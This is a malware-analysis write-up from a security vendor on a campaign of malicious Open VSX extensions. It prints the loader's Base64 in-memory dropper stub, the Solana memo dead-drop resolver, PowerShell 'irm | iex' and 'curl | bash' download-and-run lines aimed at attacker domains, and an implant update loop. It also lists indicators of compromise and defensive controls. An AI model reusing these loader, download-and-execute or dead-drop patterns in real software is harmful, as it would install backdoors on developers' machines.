Starting on the morning of 2026-05-23 our Argus pipeline lit up on a coordinated wave of malicious extensions hitting the Open VSX marketplace. The first alert triggered on finlay-ab.vscode-latex-runner: a generic-looking VSIX that, at the tail of extension/dist/extension.js, carried a Base64 array decoded into a data:text/javascript;base64, dynamic import. Argus alerted on it since it “… dynamically imports a large Base64-encoded script that defines its own GET/POST functions, encryption utilities and network request logic,” and that the entry point was “heavily obfuscated with a long array of Base64 strings assembled and decoded at runtime.”

This combination of artifacts prompted a deeper look. What we recovered is a five-stage in-memory dropper that delivers a Go-based backdoor — built and shipped by the same threat actor we have previously written about as GLASSWORM. The post that follows walks the chain end-to-end and ties this wave to the RustImplant samples and the broader GLASSWORM corpus we have been tracking since late 2025.

The Initial Vector

Every sample in the wave embeds the same in-memory dropper pattern at the end of its bundled entry point. A representative excerpt from finlay-ab.vscode-latex-runner:

const woubbztbkiobtlapl = [
  "aW1wb3J0IGNyeXB0byBmcm9tICdub2RlOmNyeXB0byc7Y29uc3QgdGVzdF9waW",
  "5nID0gWydnb29nbGUuY29tJywgJ2Nsb3VkZmxhcmUuY29tJywgJ2V4YW1wbGUu",
  /* ... ~150 chunks ... */
  "ZXR1cm4gKGF3YWl0IGltcG9ydCgnZGF0YTp0ZXh0L2phdmFzY3JpcHQ7YmFzZT",
  "Y0LCcgKyBfMHhmZzRjNGIpKSA/ICEhW10gOiBmYWxzZTt9"
];

(async () => {
  const rcmzprprsab = await import(
    "data:text/javascript;base64," + woubbztbkiobtlapl.join("")
  );
  rcmzprprsab.tests("vscode-latex-runner");
})();

The array variable name is randomized per sample and the dynamic import resolves a JavaScript module by data: URL, which sidesteps the disk write that most VS Code extension scanners watch for. The call into tests("...") passes the extension’s own name into the next stage as the decryption key for the next layer. This is reminiscent of earlier GLASSWORM activity we have tracked on Open VSX where large Base64-encoded blobs decode at runtime to execute malware in memory.

First Stage Payload

The decoded module exports five symbols: GET, POST, PING, encrypt, decrypt, and tests(context). When run, tests gates the run behind a connectivity probe against four domains:

const test_ping = ['google.com', 'cloudflare.com', 'example.com', 'yandex.ru'];

The PING(test_ping) call runs a single HEAD request against each host. If none respond, tests returns false and exits. The connectivity gate is an anti-analysis technique to filter out sandbox environments.

If the network gate passes, the module splits an embedded Base64-encoded test_crypt blob into salt:iv:ciphertext and decrypts it with AES-256-CBC using scryptSync(<extension-name>, salt, 32) as the key. The extension’s own name doubles as the password, so the same encrypted second stage is unrecoverable without knowing which extension you are looking at. This is consistent tradecraft across every GLASSWORM wave we have seen since the author’s preferred in-memory unpack is AES-256-CBC over a Base64 blob.

The decrypted bytes are passed to import('data:text/javascript;base64,' + decrypted) and the second stage runs without ever touching the disk.

Second Stage Payload

Stage two contains the dead-drop resolver behavior:

import crypto from 'node:crypto';
import { exec } from 'node:child_process';

const M = new Set([
  'MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr',
  'Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFMNo',
]);
const A = '6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz';
const N = [
  'api.mainnet.solana.com',
  'api.mainnet-beta.solana.com',
  'solana-rpc.publicnode.com',
  'solana.api.pocket.network',
  'public.rpc.solanavibestation.com',
];

A is the threat actor’s Solana account, M is the set of Solana Memo program addresses, and N is the RPC fallback list. When run, the payload calls getSignaturesForAddress(A, limit=100) on the first responsive RPC and walks each transaction for an instruction whose programId is in M to read the memo content out of the instruction’s parsed field. The memo content is the next-stage hostname.

Solana memo transactions cost about 5,000 lamports to write and are arbitrary text. The threat actor funds the account once with a fraction of a SOL, posts a memo containing the next-stage domain, and from that point forward every infected extension reads the same string off the public ledger. This is a classic use of the ether hiding technique, a form of hosting malicious artifacts on a decentralized blockchain network since the data is insulated from traditional DNS take downs and other countermeasures.

At the time of analysis the memo read dodod.lat. Inspecting the account on-chain (getSignaturesForAddress against api.mainnet-beta.solana.com) shows the threat actor funded the address on 2026-05-23 at 03:18 UTC, posted the first dodod.lat memo at 03:44 UTC, and re-posted it at 05:22 UTC. The first Argus catches on the wave came in at 09:48 UTC. The infrastructure was less than seven hours old at the moment of publishing to Open VSX.

Once the memo is read, stage two pulls a second AES-256-CBC blob out of itself and decrypts it with a per-sample hardcoded password. That blob, written back into a new Function('exec', 'arg', <decoded>), expands to the platform-switched dispatcher:

process.platform === "win32" && exec(
  `powershell 
    -WindowStyle Hidden 
    -Command "irm https://${arg}/win32/install/vscode-latex-runner | iex"`,
  { windowsHide: true }, () => {});

process.platform === "linux" && exec(
  `curl 
    -fsSL https://${arg}/linux/install/vscode-latex-runner | bash >/dev/null 2>&1 &`,
  { windowsHide: true }, () => {});

The host slot ${arg} is filled with dodod.lat and, depending on the operating system, the payload uses either PowerShell or curl to download and execute the next stage. The extension name vscode-latex-runner is hard-coded into the dispatcher at build time and matches the extension’s own name.

Downloaded Payloads

The Linux endpoints at dodod.lat/linux/install/<extension-name> and dodod.lat/linux/startup/<extension-name> return zero bytes and HTTP 404 respectively. The Windows side is fully provisioned with the first download being a 998-byte persistence installer. The installer plants its working directory at %LOCALAPPDATA%\Backup\ and names the registry Run value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\DefenderBackup to read as a legitimate Windows utility under casual inspection. The launch path goes through wscript.exe invoking a VBScript wrapper that calls PowerShell in turn. The VBS wrapper accepts 0, False as its WScript.Shell.Run arguments, which suppresses any visible window. Additionally, the Run key fires every login via Start-Process wscript.exe which ensures the sample runs immediately rather than upon reboot.

The second download (backup.ps1, 2,346 bytes) is a hash-verified update loop:

$backupExe   = Join-Path $backupDir "Backup.exe"
$downloadUrl = "hxxps://dodod[.]lat/win32/app/vscode-latex-runner"
$hashUrl     = "hxxps://dodod[.]lat/win32/app/sha256"

while ($true) {
    try {
        $expectedHash = (Invoke-WebRequest -Uri $hashUrl -UseBasicParsing)
          .Content
          .Trim()
          .Split(' ')[0]
          .ToUpper()
        # ...
        $needInstall = $true
        if (Test-Path $backupExe) {
            $localHash = (Get-FileHash -Path $backupExe -Algorithm SHA256)
              .Hash
              .ToUpper()
            if ($localHash -eq $expectedHash) { $needInstall = $false }
        }
        if ($needInstall) {
            Invoke-WebRequest -Uri $downloadUrl -OutFile $tempFile -UseBasicParsing
            # SHA-256 verify, then move to $backupExe
        }
        Start-Process -FilePath $backupExe -WindowStyle Hidden
        exit 0
    } catch { Start-Sleep -Seconds 30 }
}

The hash endpoint and the binary endpoint are decoupled, which gives the operator the option of hot-swapping the implant binary across the whole fleet without touching the dropper, the memo, or any extension. Replace Backup.exe at dodod.lat/win32/app/<extension-name>, update the SHA-256 at dodod.lat/win32/app/sha256, and every infected machine pulls the new version on its next login. The extension-name-based URL prefix on the binary endpoint appears to exist for attribution of compromised systems rather than for content variation since the SHA-256 of Backup.exe is identical across the extension-name-specific download URLs we pulled.

Final Payload

Backup.exe is a 6,521,344-byte PE32+ console executable for x86-64 Windows, compiled with Go 1.24.4. The single declared dependency is gorilla/websocket — every other network call uses Go’s standard library. The main package symbols read like a textbook remote-management agent command surface: handleDeploy, handleDownload, handleList, handleDelete, closeAllUploads, connectAndServe, buildTLSConfig, getSignatures, currentUser, fsRoots, execDir, pollBackend, registerUpload, unregisterUpload. There is a RunRequest / RunResponse type pair that defines the on-wire command schema, and a separate RegisterData / PollResponse type pair that defines the agent-registration protocol.

Beacon protocol

The implant’s static configuration lives in a single contiguous block at the start of .data:

.data:0xA14720  "localhost:443"                                 ; Default C2 Target
.data:0xA14730  "iwueyfiugviTV2igvrfiwegvfisegf24crpwejfo"      ; Campaign ID
.data:0xA14740  6FC23AC00h                                      ; 30s poll
.data:0xA14770  "7GyHfpK8uYY9ovMuS7N2LogbEpDGePBvMkNh5AsyS9ur"  ; Solana account

main.pollBackend is the long-running beacon loop. On each iteration it constructs the target URL via runtime.concatstring3 against the backend host, builds a RegisterData payload with host environmental parameters, serializes it through encoding/json.Marshal, and dispatches an HTTP POST with Content-Type: application/json to /agent/poll. The response is unmarshaled into PollResponse and the boolean Session field decides what happens next. When Session is false the loop sleeps thirty seconds and beacons again, when Session is true control passes to main.connectAndServe, which dials a gorilla/websocket upgrade against /agent/control and hands the operator an interactive command channel.

        +-------------------+   POST /agent/poll (JSON)    +-----------------+
        |                   | ---------------------------> |                 |
        |  remote-mgmt      |                              |    C2 backend   |
        |  Go agent         | <--------------------------- |                 |
        |                   |   PollResponse{Session:bool} +-----------------+
        +-------------------+
                  |
                  | Session == true
                  v
        WS upgrade /agent/control  (gorilla/websocket)

The localhost:443 hardcode is a development artifact left in by the author since the binary’s runtime path resolves the real backend hostname from the embedded Solana wallet’s memo, the same pattern the loader stage uses one tier up. The actual beacons go to whatever the wallet’s memo currently points at (jhggnrfnst.com at time of writing).

The 40-character iwueyfiugviTV2igvrfiwegvfisegf24crpwejfo string is a stable per-build campaign seed used either as a verification token in the agent-registration handshake or as the input to an internal HMAC routine over the agent ID. It is byte-stable across the Backup.exe copies we pulled, and is one of the strongest fingerprinting strings the operator left in the binary.

The use of the hardcoded second wallet address 7GyHfpK8uYY9ovMuS7N2LogbEpDGePBvMkNh5AsyS9ur, and accessing it via the API https://api.mainnet-beta.solana.com, ties the implant to the rest of the campaign and to the broader GLASSWORM corpus. Inspecting this second wallet on-chain shows it was funded on 2026-05-23 at 05:20 UTC, two minutes before the first wallet’s dodod.lat memo, and that the only memo posted to it carries the string jhggnrfnst.com. The implant uses the second wallet as its own runtime C2 dead-drop, independent of the initial dropper dead-drop. This is a two-tier Solana memo C2 architecture. Tier one resolves the dropper-distribution host (dodod.lat) and is consumed by the in-VSIX loader while tier two resolves the long-running C2 host (jhggnrfnst.com) and is consumed by the installed implant. Either tier can be rotated without touching the other.

Both domains resolve to Cloudflare and share the same nameserver pair (katja.ns.cloudflare.com, rodney.ns.cloudflare.com), consistent with single-operator infrastructure.

Another notable artifact is a small cluster of Russian-language error strings embedded in the binary:

не удалось запустить
не удалось удалить файл
не удалось установить файл

Translations: “failed to launch,” “failed to delete file,” “failed to install file.” They sit in the same category as the Cyrillic-locale geofence in the RustImplant samples and the Russian / CIS exclusion list documented in public reporting on the RustImplant variant.

Conclusion & Attribution

Five threads tie this wave to GLASSWORM. First, AES-256-CBC over a Base64 salt:iv:ciphertext triple is the same in-memory unpack we documented for RustImplant and for several samples in the karnenko / drovenko cluster. Second, Solana wallet addresses as the C2 dead-drop is the lineage primitive that RustImplant established for this family. This wave extends it from one wallet to a two-tier hierarchy. Third, connectivity gating as the threat actor’s primary anti-analysis layer, the four-domain ping list is the same evasion class with a different surface than the one used in RustImplant. Fourth, Russian-language constants in the compiled implant. Fifth, the disposable-publisher, persistent-toolkit posture documented in the Bane Forensics post is the structural shape of this wave: twenty-two namespaces, four burner GitHub accounts seasoned within a single afternoon and used four days later, one toolkit.

What is novel here is the language jump. RustImplant compiled to Rust and shipped a .node native addon. This wave compiles to Go and ships a standalone PE. The cryptographic stack, the C2 transport primitive, the operator’s locale, and the publishing tradecraft (burner GitHub accounts, bot-inflated download counts, namespace squatting on developer-attractive product names) are continuous across the language change. The toolkit is being rewritten; the threat actor is not.

For Open VSX users, the practical posture is unchanged from what we said after the GLASSWORM Bane Forensics post. Yeeth’s Argus pipeline flagged fourteen samples in this wave at scan time. Every confirmed sample is now in the IOC list at the foot of this post.


Indicators of Compromise

Confirmed Malicious Extensions (2026-05-23 wave)

finlay-ab.vscode-latex-runner-0.0.9
aadityanarayan.code-snap-1.1.2
AsadBinImtiaz.kiro-vscode-extension-0.1.3
Bytegenius.go-live-pro-1.0.0
DanLambiase.lmstudio-copilot-provider-0.1.17
joaompfp.hermes-ai-agent-3.0.0
long-kudo.vscode-claude-status-0.6.0
MCCProgrammer.debug-dataStructures-visualizer-extension-1.0.0
nhunter0.dll-structure-viewer-1.3.0
oldjobobo.retro-82-theme-0.1.4
oldjrzobobo.miasma-theme-0.1.1
Skypfrain.vs-cc-switch-0.0.1
superdoc-dev.superdoc-vscode-ext-2.7.0
zgy.opencode-vscode-ui-0.0.7
arieldev.sql-visual-debugger-0.2.6
SingularityInc.claude-notifier-3.1.0
thykka.superpowers-1.0.0
pdragon.azure-rbs-workbench-1.5.0
DenizhanDaklr.copilot-vscode-deepseek-0.5.1
vegamo.deepcode-vscode-0.1.18
ruslanmv.gitpilot-vscode-0.2.6
ishantgupta777.pipfi-code-share-0.0.2

Confirmed Malicious Extensions (2026-05-25 wave-2 batch)

A second batch landed on Open VSX on 2026-05-25 between 20:39 and 20:40 UTC. Same loader stub, same actor wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz, same dodod.lat C2 — only the publisher namespaces and the per-sample stage-3 password are new. Wave-1 builds used a cmpib3* / cmpib4* stage-3 password prefix; wave-2 builds use cmplo*, which is the cleanest fingerprint for separating the two batches in retro-hunts.

bigboi.legally-blind-0.1.7
Escalion.create-react-component-0.5.0
Ansvia.ansvia-vscode-0.4.1

Wave-2 stage-3 passwords (per-sample, AES-256-CBC scrypt input for the inner dispatcher decryption):

cmplo43lea56bd470bec74870  (legally-blind)
cmplo497e91b3e4dfecb5a6f7  (create-react-component)
cmplo46w09bec67d8b14afff7  (ansvia-vscode)

Implant Sample

  • Filename: Backup.exe
  • SHA-256: fc714780730a85aff02cec5370630dd275d5e09a61d912eca06ff358e47ff277
  • Size: 6,521,344 bytes
  • Type: PE32+ executable (console), x86-64, Windows
  • Toolchain: Go 1.24.4, remote-mgmt/client (devel)
  • Embedded campaign seed: iwueyfiugviTV2igvrfiwegvfisegf24crpwejfo
  • Beacon endpoints: /agent/poll (HTTP POST, 30s cadence), /agent/control (WebSocket upgrade)
  • Reflection types: main.RegisterData, main.PollResponse, main.RunRequest, main.RunResponse

Persistence

  • Working directory: %LOCALAPPDATA%\Backup\
  • Persistence file: %LOCALAPPDATA%\Backup\backup.ps1
  • VBS wrapper: %LOCALAPPDATA%\Backup\backup.vbs
  • Implant binary path: %LOCALAPPDATA%\Backup\Backup.exe
  • Registry Run key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DefenderBackup

Network-Based Indicators (Defanged)

  • Dropper-distribution domain (tier 1): dodod[.]lat
  • Long-running C2 domain (tier 2): jhggnrfnst[.]com
  • Solana wallet (tier 1 dead-drop): 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz
  • Solana wallet (tier 2 dead-drop): 7GyHfpK8uYY9ovMuS7N2LogbEpDGePBvMkNh5AsyS9ur
  • Solana Memo program addresses (read-targets): MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr, Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFMNo

Publisher Indicators

Burner GitHub accounts used to publish the eight FN-recovered samples — all created 2026-05-19 between 17:05 and 20:14 UTC, zero public repos, zero followers, never updated after registration:

JohnMillDoe
Aljsnedfjn
Kbaefkjbd
kdjrgndjsdf

Concurrent activity — the asdasd publisher

Since 2026-05-25 we have observed a separate operator iterating bytes against the OpenVSX upload gate under the asdasd namespace. The loader shape differs from the GLASSWORM-Solana wave (a VS Code Task launching a remote PowerShell rather than a Solana memo dead-drop), but the publisher cycles new file hashes against the same version slot every few minutes and submits until a hash slips past detection — the same operator-iteration burst pattern documented in earlier MCPincer waves. Extension slugs observed on this publisher:

asdasd.hello-task-0.0.1
asdasd.hello-web-0.0.2
asdasd.hello-webui-0.0.1
asdasd.hello-webui-0.0.2

Unique malicious file hashes observed (SHA-256):

a260f666f80155c8c26eba0e93f938715fdf53fc9c9d00d692fe3b17604357be
7605b53c903003ed722f8a6c24cfed50b511df0925a75ff44696c9acdf66db6f
5c8a6c20d676db764ea23bd60ce0339be8bc131a3b10754cd1b3bd2bfb32fefb
82641f7f0d78d8f05f902d43c683eb7a2662434b42eab20776593ca5305c74dc
9b928662f9754666738f6717737418336973c81cb6ac880478deea7d002dbc9c
8e2bc0f47d1c96099dfb6893a27638e61555afdc0a3ae55f39bff174e69cbf43
c7c4d90bdba7f49504f80a9a4495c0ce44b3f6e22d33bac507e096460a9b7c27
9f171c0e2ead281c9004a725ac19a76417295eda19a531459628db9a521696e2
cc8ca3acb29a3768ce74ba20337d9d38c64a34dca250c7b6b6706a73c56d55c1
61412a6e33fba54fc91570badeec0cb94a541c339ff9cc046b407e30b1213da9
cb716dc34cc297ae8306f9f003251ce3e10213981ae67945d5c0b8a47a2b413a
39501844c20a2250a6627079624eb1f06621d5bfa21d2d0f78ffd5024c2de398
3c740e174f675f240bf057b6df81cabbbf0a71dab1e346a056a79529bf105bd6
5d88c53bf8863e86ab1ba4dff2269f968764fa2079dd3395e8d5421bc6208083
a8eab26cabb620abe501f983f48679d8fe55f038b892ffe67123914542866b3b
4acd2c0ff2602a1dbcb1c05f1d6ea97cb777fd863ece140f0988b506416a4403
fd7acf3f4588e0ae84c9a92f6530dd1e72b1f894b3336e0196821106a5be756b
79a440f2b79c05eae868ebd566f5df25ce92e353bc0538c27453d48370841370
9a393e4888de6bdbe1df2398d3fe3b2a7b6ed5e4301505af7d2931073132cbb2
218d410f7a5e188ff29ccc76b94177bdf41de431015a4560ddf2e4f6df582bf7
5c1d518e3ebaf5e950c237f02cc40ec6f001620355cabfafafff06971ea4ed38
df48ea2f6a549add1e4a78b88a818e4355d8e318a175570e8d7960c33da19fbf
0364097ea0e9e611b372d5411c03a3688b856d56d2ad63128223a5e68eb5490d
f0e9f2127204868cd0133cab8ff91d288f73ddebe5a2760300d13cbd2f1253e4
270b655daefc56bcea491f1700b9c6c96370ef4aa442530fec7f6f48c1c17424
276cf04250e9646cd95a13a5eff3cebf490c5a371fa11912aef271d6f7c7f143
90215ae9817f637590fec1b2b79252db132efdd242330a2696d568c1643ab14e
c8fce7e8034f1811fe20ce081b16f79cb393e4f74a19e3be2cc9cf953745f3c7

Remediation

A two-tier Solana memo dead-drop survives traditional domain takedown since both the loader’s dropper host and the implant’s runtime C2 host can be rotated by writing a new memo transaction to a wallet the operator controls. Detection has to move upstream of the C2 lookup. We recommend three controls. First, flag any new outbound traffic from a recently installed VS Code extension to a public blockchain RPC endpoint; the small number of legitimate Web3 dev tooling extensions that genuinely consume Solana RPCs is easy to allow-list, and the residual signal is high-precision. Second, alert on wscript.exe registry Run keys created by user-installed VS Code extensions, particularly under masquerading names like DefenderBackup. Third, the Solana wallet addresses listed above will continue to serve memos until the operator funds new ones; ingest them as on-chain indicators that can be polled at the same cadence the implant polls.

Defense shouldn’t stop there — the dev-guard extension, built and maintained by the Yeeth Security team, adds a crucial layer of protection for VS Code and Cursor AI users. By continuously monitoring new campaigns and pushing live updates, dev-guard helps shut down these threats before they can spread across the developer community.